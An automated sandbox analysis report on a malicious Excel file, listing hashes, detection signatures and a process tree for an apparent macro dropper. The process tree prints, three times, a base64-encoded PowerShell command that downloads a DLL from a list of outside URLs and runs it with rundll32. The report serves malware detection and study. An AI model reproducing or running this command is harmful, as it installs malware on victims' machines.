Edit tour
Windows
Analysis Report
xxTupY4Fr3.xlsx
Overview
General Information
| Sample name: | xxTupY4Fr3.xlsxrenamed because original name is a hash value |
| Original sample name: | de0e224114985b4c013485302d4008736612a023.xlsx |
| Analysis ID: | 1551452 |
| MD5: | b8410c9949aca2147a5bc2cbf301dc96 |
| SHA1: | de0e224114985b4c013485302d4008736612a023 |
| SHA256: | b4f9e80839564b06b9887f79b31d0f017335e286aa610191b317794bff88f9ae |
| Tags: | xlsxuser-NDA0E |
| Infos: |  |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Document exploit detected (creates forbidden files)
Malicious encrypted Powershell command line found
Multi AV Scanner detection for submitted file
Document contains OLE streams with names of living off the land binaries
Document contains VBA stomped code (only p-code) potentially bypassing AV detection
Document contains an embedded VBA macro which may execute processes
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded macro with GUI obfuscation
Document exploit detected (process start blacklist hit)
Encrypted powershell cmdline option found
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Potential dropper URLs found in powershell memory
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to detect virtual machines (SLDT)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w7x64
EXCEL.EXE (PID: 3284 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
wscript.exe (PID: 3404 cmdline: wscript c: \programda ta\wetidjk s.vbs MD5: 045451FA238A75305CC26AC982472367) 
cmd.exe (PID: 3436 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\prog ramdata\jl edshf.bat" " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 3464 cmdline: powershell -enc JABn AGoAcwBlAG IAbgBnAHUA awBpAHcAdQ BnADMAawB3 AGoAZAA9AC IAaAB0AHQA cAA6AC8ALw BhAGMAdABp AHYAaQBkAG EAZABlAHMA LgBsAGEAZg BvAHIAZQB0 AGwAYQBuAG cAdQBhAGcA ZQBzAC4AYw BvAG0ALwB3 AHAALQBhAG QAbQBpAG4A LwBCAGwAaw BkAE8ASwBE AFgATAAvAC wAaAB0AHQA cAA6AC8ALw BzAGIAYwBv AHAAeQBsAG kAdgBlAC4A YwBvAG0ALg BiAHIALwBy AGoAdQB6AC 8AdwAvACwA aAB0AHQAcA BzADoALwAv AHQAcgBhAH MAaQB4AC4A YwBvAG0ALw B3AHAALQBh AGQAbQBpAG 4ALwB5ADUA QQBhADEAag B0ADAAUwBw ADIAUQBrAC 8ALABoAHQA dABwAHMAOg AvAC8AdwB3 AHcALgBwAG EAcgBrAGkA bgBzAG8Abg BzAC4AYwBv AC4AaQBuAC 8AYQBiAGMA LwBZADYAWQ AwAGYAVABi AFUARQBnAD YALwAsAGgA dAB0AHAAcw A6AC8ALwBi AGkAegAuAG 0AZQByAGwA aQBuAC4AdQ BhAC8AdwBw AC0AYQBkAG 0AaQBuAC8A VwA2AGEAZw B0AEYAUwBS AFoARwB0AD MANwAxAGQA VgAvACwAaA B0AHQAcAA6 AC8ALwBiAH IAdQBjAGsA ZQB2AG4ALg BzAGkAdABl AC8AMwB5AH oAdAB6AHoA dgBoAC8Abg BtAFkANAB3 AFoAZgBiAF kATAAvACwA aAB0AHQAcA BzADoALwAv AHAAYQByAG QAaQBzAGsA bwBvAGQALg BjAG8AbQAv AHcAcAAtAG MAbwBuAHQA ZQBuAHQALw BOAFIALwAs AGgAdAB0AH AAcwA6AC8A LwBkAGEAdQ BqAGkAbQBh AGgAYQByAG EAagBtAGEA bgBkAGkAcg AuAG8AcgBn AC8AdwBwAC 0AaQBuAGMA bAB1AGQAZQ BzAC8ANgAz AEQAZQAvAC wAaAB0AHQA cABzADoALw AvAGQAYQB0 AGEAcwBpAH QAcwAuAGMA bwBtAC8Adw BwAC0AaQBu AGMAbAB1AG QAZQBzAC8A WgBrAGoANA BRAE8ALwAs AGgAdAB0AH AAcwA6AC8A LwBhAG4AdQ BnAGUAcgBh AGgAbQBhAH MAaQBuAHQA ZQByAG4AYQ BzAGkAbwBu AGEAbAAuAG MAbwAuAGkA ZAAvAHcAcA AtAGEAZABt AGkAbgAvAF MASgBiAHgA RQA1AEkALw AsAGgAdAB0 AHAAcwA6AC 8ALwBhAHQA bQBlAGQAaQ BjAC4AYwBs AC8AcwBpAH MAdABlAG0A YQBzAC8AMw BaAGIAcwBV AEEAVQAvAC wAaAB0AHQA cABzADoALw AvAGEAbgB3 AGEAcgBhAG wAYgBhAHMA YQB0AGUAZQ BuAC4AYwBv AG0ALwBGAG 8AeAAtAEMA NAAwADQALw BtAEQASABr AGYAZwBlAG IATQBSAHoA bQBHAEsAQg B5AC8AIgAu AHMAcABMAG kAVAAoACIA LAAiACkAOw BmAE8AcgBl AGEAQwBoAC gAJABoAGsA bAB3AFIASA BKAFMAZQA0 AGgAIABpAG 4AIAAkAGcA agBzAGUAYg BuAGcAdQBr AGkAdwB1AG cAMwBrAHcA agBkACkAew AkAEoAcwAz AGgAbABzAG sAZABjAGYA awA9ACIAdg BiAGsAdwBr ACIAOwAkAH MAZABlAHcA SABTAHcAMw BnAGsAagBz AGQAPQBHAG UAdAAtAFIA YQBuAGQAbw BtADsAJABJ AEQAcgBmAG cAaABzAGIA egBrAGoAeA BkAD0AIgBj ADoAXABwAH IAbwBnAHIA YQBtAGQAYQ B0AGEAXAAi ACsAJABKAH MAMwBoAGwA cwBrAGQAYw BmAGsAKwAi AC4AZABsAG wAIgA7AGkA TgB2AE8Aaw BlAC0AdwBF AGIAcgBlAF EAdQBlAHMA VAAgAC0AdQ BSAGkAIAAk AGgAawBsAH cAUgBIAEoA UwBlADQAaA AgAC0AbwB1 AFQAZgBpAE wAZQAgACQA SQBEAHIAZg BnAGgAcwBi AHoAawBqAH gAZAA7AGkA ZgAoAHQAZQ BzAHQALQBw AEEAdABIAC AAJABJAEQA cgBmAGcAaA BzAGIAegBr AGoAeABkAC kAewBpAGYA KAAoAGcAZQ B0AC0AaQBU AGUAbQAgAC QASQBEAHIA ZgBnAGgAcw BiAHoAawBq AHgAZAApAC 4ATABlAG4A ZwB0AGgAIA AtAGcAZQAg ADUAMAAwAD AAMAApAHsA YgByAGUAYQ BrADsAfQB9 AH0A MD5: A575A7610E5F003CC36DF39E07C4BA7D) - cmd.exe (PID: 1888 cmdline:
"C:\Window s\System32 \cmd.exe" /c start / B c:\windo ws\syswow6 4\rundll32 .exe c:\pr ogramdata\ vbkwk.dll, dfsgeresd MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
rundll32.exe (PID: 1972 cmdline: c:\windows \syswow64\ rundll32.e xe c:\prog ramdata\vb kwk.dll,df sgeresd MD5: 51138BEEA3E2C21EC44D0932C71762A8) - wscript.exe (PID: 3628 cmdline:
wscript c: \programda ta\wetidjk s.vbs MD5: 045451FA238A75305CC26AC982472367) - cmd.exe (PID: 3660 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\prog ramdata\jl edshf.bat" " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3688 cmdline:
powershell -enc JABn AGoAcwBlAG IAbgBnAHUA awBpAHcAdQ BnADMAawB3 AGoAZAA9AC IAaAB0AHQA cAA6AC8ALw BhAGMAdABp AHYAaQBkAG EAZABlAHMA LgBsAGEAZg BvAHIAZQB0 AGwAYQBuAG cAdQBhAGcA ZQBzAC4AYw BvAG0ALwB3 AHAALQBhAG QAbQBpAG4A LwBCAGwAaw BkAE8ASwBE AFgATAAvAC wAaAB0AHQA cAA6AC8ALw BzAGIAYwBv AHAAeQBsAG kAdgBlAC4A YwBvAG0ALg BiAHIALwBy AGoAdQB6AC 8AdwAvACwA aAB0AHQAcA BzADoALwAv AHQAcgBhAH MAaQB4AC4A YwBvAG0ALw B3AHAALQBh AGQAbQBpAG 4ALwB5ADUA QQBhADEAag B0ADAAUwBw ADIAUQBrAC 8ALABoAHQA dABwAHMAOg AvAC8AdwB3 AHcALgBwAG EAcgBrAGkA bgBzAG8Abg BzAC4AYwBv AC4AaQBuAC 8AYQBiAGMA LwBZADYAWQ AwAGYAVABi AFUARQBnAD YALwAsAGgA dAB0AHAAcw A6AC8ALwBi AGkAegAuAG 0AZQByAGwA aQBuAC4AdQ BhAC8AdwBw AC0AYQBkAG 0AaQBuAC8A VwA2AGEAZw B0AEYAUwBS AFoARwB0AD MANwAxAGQA VgAvACwAaA B0AHQAcAA6 AC8ALwBiAH IAdQBjAGsA ZQB2AG4ALg BzAGkAdABl AC8AMwB5AH oAdAB6AHoA dgBoAC8Abg BtAFkANAB3 AFoAZgBiAF kATAAvACwA aAB0AHQAcA BzADoALwAv AHAAYQByAG QAaQBzAGsA bwBvAGQALg BjAG8AbQAv AHcAcAAtAG MAbwBuAHQA ZQBuAHQALw BOAFIALwAs AGgAdAB0AH AAcwA6AC8A LwBkAGEAdQ BqAGkAbQBh AGgAYQByAG EAagBtAGEA bgBkAGkAcg AuAG8AcgBn AC8AdwBwAC 0AaQBuAGMA bAB1AGQAZQ BzAC8ANgAz AEQAZQAvAC wAaAB0AHQA cABzADoALw AvAGQAYQB0 AGEAcwBpAH QAcwAuAGMA bwBtAC8Adw BwAC0AaQBu AGMAbAB1AG QAZQBzAC8A WgBrAGoANA BRAE8ALwAs AGgAdAB0AH AAcwA6AC8A LwBhAG4AdQ BnAGUAcgBh AGgAbQBhAH MAaQBuAHQA ZQByAG4AYQ BzAGkAbwBu AGEAbAAuAG MAbwAuAGkA ZAAvAHcAcA AtAGEAZABt AGkAbgAvAF MASgBiAHgA RQA1AEkALw AsAGgAdAB0 AHAAcwA6AC 8ALwBhAHQA bQBlAGQAaQ BjAC4AYwBs AC8AcwBpAH MAdABlAG0A YQBzAC8AMw BaAGIAcwBV AEEAVQAvAC wAaAB0AHQA cABzADoALw AvAGEAbgB3 AGEAcgBhAG wAYgBhAHMA YQB0AGUAZQ BuAC4AYwBv AG0ALwBGAG 8AeAAtAEMA NAAwADQALw BtAEQASABr AGYAZwBlAG IATQBSAHoA bQBHAEsAQg B5AC8AIgAu AHMAcABMAG kAVAAoACIA LAAiACkAOw BmAE8AcgBl AGEAQwBoAC gAJABoAGsA bAB3AFIASA BKAFMAZQA0 AGgAIABpAG 4AIAAkAGcA agBzAGUAYg BuAGcAdQBr AGkAdwB1AG cAMwBrAHcA agBkACkAew AkAEoAcwAz AGgAbABzAG sAZABjAGYA awA9ACIAdg BiAGsAdwBr ACIAOwAkAH MAZABlAHcA SABTAHcAMw BnAGsAagBz AGQAPQBHAG UAdAAtAFIA YQBuAGQAbw BtADsAJABJ AEQAcgBmAG cAaABzAGIA egBrAGoAeA BkAD0AIgBj ADoAXABwAH IAbwBnAHIA YQBtAGQAYQ B0AGEAXAAi ACsAJABKAH MAMwBoAGwA cwBrAGQAYw BmAGsAKwAi AC4AZABsAG wAIgA7AGkA TgB2AE8Aaw BlAC0AdwBF AGIAcgBlAF EAdQBlAHMA VAAgAC0AdQ BSAGkAIAAk AGgAawBsAH cAUgBIAEoA UwBlADQAaA AgAC0AbwB1 AFQAZgBpAE wAZQAgACQA SQBEAHIAZg BnAGgAcwBi AHoAawBqAH gAZAA7AGkA ZgAoAHQAZQ BzAHQALQBw AEEAdABIAC AAJABJAEQA cgBmAGcAaA BzAGIAegBr AGoAeABkAC kAewBpAGYA KAAoAGcAZQ B0AC0AaQBU AGUAbQAgAC QASQBEAHIA ZgBnAGgAcw BiAHoAawBq AHgAZAApAC 4ATABlAG4A ZwB0AGgAIA AtAGcAZQAg ADUAMAAwAD AAMAApAHsA YgByAGUAYQ BrADsAfQB9 AH0A MD5: A575A7610E5F003CC36DF39E07C4BA7D) - cmd.exe (PID: 896 cmdline:
"C:\Window s\System32 \cmd.exe" /c start / B c:\windo ws\syswow6 4\rundll32 .exe c:\pr ogramdata\ vbkwk.dll, dfsgeresd MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - rundll32.exe (PID: 804 cmdline:
c:\windows \syswow64\ rundll32.e xe c:\prog ramdata\vb kwk.dll,df sgeresd MD5: 51138BEEA3E2C21EC44D0932C71762A8) - wscript.exe (PID: 3804 cmdline:
wscript c: \programda ta\wetidjk s.vbs MD5: 045451FA238A75305CC26AC982472367) - cmd.exe (PID: 3836 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\prog ramdata\jl edshf.bat" " MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3868 cmdline:
powershell -enc JABn AGoAcwBlAG IAbgBnAHUA awBpAHcAdQ BnADMAawB3 AGoAZAA9AC IAaAB0AHQA cAA6AC8ALw BhAGMAdABp AHYAaQBkAG EAZABlAHMA LgBsAGEAZg BvAHIAZQB0 AGwAYQBuAG cAdQBhAGcA ZQBzAC4AYw BvAG0ALwB3 AHAALQBhAG QAbQBpAG4A LwBCAGwAaw BkAE8ASwBE AFgATAAvAC wAaAB0AHQA cAA6AC8ALw BzAGIAYwBv AHAAeQBsAG kAdgBlAC4A YwBvAG0ALg BiAHIALwBy AGoAdQB6AC 8AdwAvACwA aAB0AHQAcA BzADoALwAv AHQAcgBhAH MAaQB4AC4A YwBvAG0ALw B3AHAALQBh AGQAbQBpAG 4ALwB5ADUA QQBhADEAag B0ADAAUwBw ADIAUQBrAC 8ALABoAHQA dABwAHMAOg AvAC8AdwB3 AHcALgBwAG EAcgBrAGkA bgBzAG8Abg BzAC4AYwBv AC4AaQBuAC 8AYQBiAGMA LwBZADYAWQ AwAGYAVABi AFUARQBnAD YALwAsAGgA dAB0AHAAcw A6AC8ALwBi AGkAegAuAG 0AZQByAGwA aQBuAC4AdQ BhAC8AdwBw AC0AYQBkAG 0AaQBuAC8A VwA2AGEAZw B0AEYAUwBS AFoARwB0AD MANwAxAGQA VgAvACwAaA B0AHQAcAA6 AC8ALwBiAH IAdQBjAGsA ZQB2AG4ALg BzAGkAdABl AC8AMwB5AH oAdAB6AHoA dgBoAC8Abg BtAFkANAB3 AFoAZgBiAF kATAAvACwA aAB0AHQAcA BzADoALwAv AHAAYQByAG QAaQBzAGsA bwBvAGQALg BjAG8AbQAv AHcAcAAtAG MAbwBuAHQA ZQBuAHQALw BOAFIALwAs AGgAdAB0AH AAcwA6AC8A LwBkAGEAdQ BqAGkAbQBh AGgAYQByAG EAagBtAGEA bgBkAGkAcg AuAG8AcgBn AC8AdwBwAC 0AaQBuAGMA bAB1AGQAZQ BzAC8ANgAz AEQAZQAvAC wAaAB0AHQA cABzADoALw AvAGQAYQB0 AGEAcwBpAH QAcwAuAGMA bwBtAC8Adw BwAC0AaQBu AGMAbAB1AG QAZQBzAC8A WgBrAGoANA BRAE8ALwAs AGgAdAB0AH AAcwA6AC8A LwBhAG4AdQ BnAGUAcgBh AGgAbQBhAH MAaQBuAHQA ZQByAG4AYQ BzAGkAbwBu AGEAbAAuAG MAbwAuAGkA ZAAvAHcAcA AtAGEAZABt AGkAbgAvAF MASgBiAHgA RQA1AEkALw AsAGgAdAB0 AHAAcwA6AC 8ALwBhAHQA bQBlAGQAaQ BjAC4AYwBs AC8AcwBpAH MAdABlAG0A YQBzAC8AMw BaAGIAcwBV AEEAVQAvAC wAaAB0AHQA cABzADoALw AvAGEAbgB3 AGEAcgBhAG wAYgBhAHMA YQB0AGUAZQ BuAC4AYwBv AG0ALwBGAG 8AeAAtAEMA NAAwADQALw BtAEQASABr AGYAZwBlAG IATQBSAHoA bQBHAEsAQg B5AC8AIgAu AHMAcABMAG kAVAAoACIA LAAiACkAOw BmAE8AcgBl AGEAQwBoAC gAJABoAGsA bAB3AFIASA BKAFMAZQA0 AGgAIABpAG 4AIAAkAGcA agBzAGUAYg BuAGcAdQBr AGkAdwB1AG cAMwBrAHcA agBkACkAew AkAEoAcwAz AGgAbABzAG sAZABjAGYA awA9ACIAdg BiAGsAdwBr ACIAOwAkAH MAZABlAHcA SABTAHcAMw BnAGsAagBz AGQAPQBHAG UAdAAtAFIA YQBuAGQAbw BtADsAJABJ AEQAcgBmAG cAaABzAGIA egBrAGoAeA BkAD0AIgBj ADoAXABwAH IAbwBnAHIA YQBtAGQAYQ B0AGEAXAAi ACsAJABKAH MAMwBoAGwA cwBrAGQAYw BmAGsAKwAi AC4AZABsAG wAIgA7AGkA TgB2AE8Aaw BlAC0AdwBF AGIAcgBlAF EAdQBlAHMA VAAgAC0AdQ BSAGkAIAAk AGgAawBsAH cAUgBIAEoA UwBlADQAaA AgAC0AbwB1 AFQAZgBpAE wAZQAgACQA SQBEAHIAZg BnAGgAcwBi AHoAawBqAH gAZAA7AGkA ZgAoAHQAZQ BzAHQALQBw AEEAdABIAC AAJABJAEQA cgBmAGcAaA BzAGIAegBr AGoAeABkAC kAewBpAGYA KAAoAGcAZQ B0AC0AaQBU AGUAbQAgAC QASQBEAHIA ZgBnAGgAcw BiAHoAawBq AHgAZAApAC 4ATABlAG4A ZwB0AGgAIA AtAGcAZQAg ADUAMAAwAD AAMAApAHsA YgByAGUAYQ BrADsAfQB9 AH0A MD5: A575A7610E5F003CC36DF39E07C4BA7D) - cmd.exe (PID: 2192 cmdline:
"C:\Window s\System32 \cmd.exe" /c start / B c:\windo ws\syswow6 4\rundll32 .exe c:\pr ogramdata\ vbkwk.dll, dfsgeresd MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - rundll32.exe (PID: 2684 cmdline:
c:\windows \syswow64\ rundll32.e xe c:\prog ramdata\vb kwk.dll,df sgeresd MD5: 51138BEEA3E2C21EC44D0932C71762A8)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |   |
|---|
| Source: | Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): | ||
| Source: | Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: | ||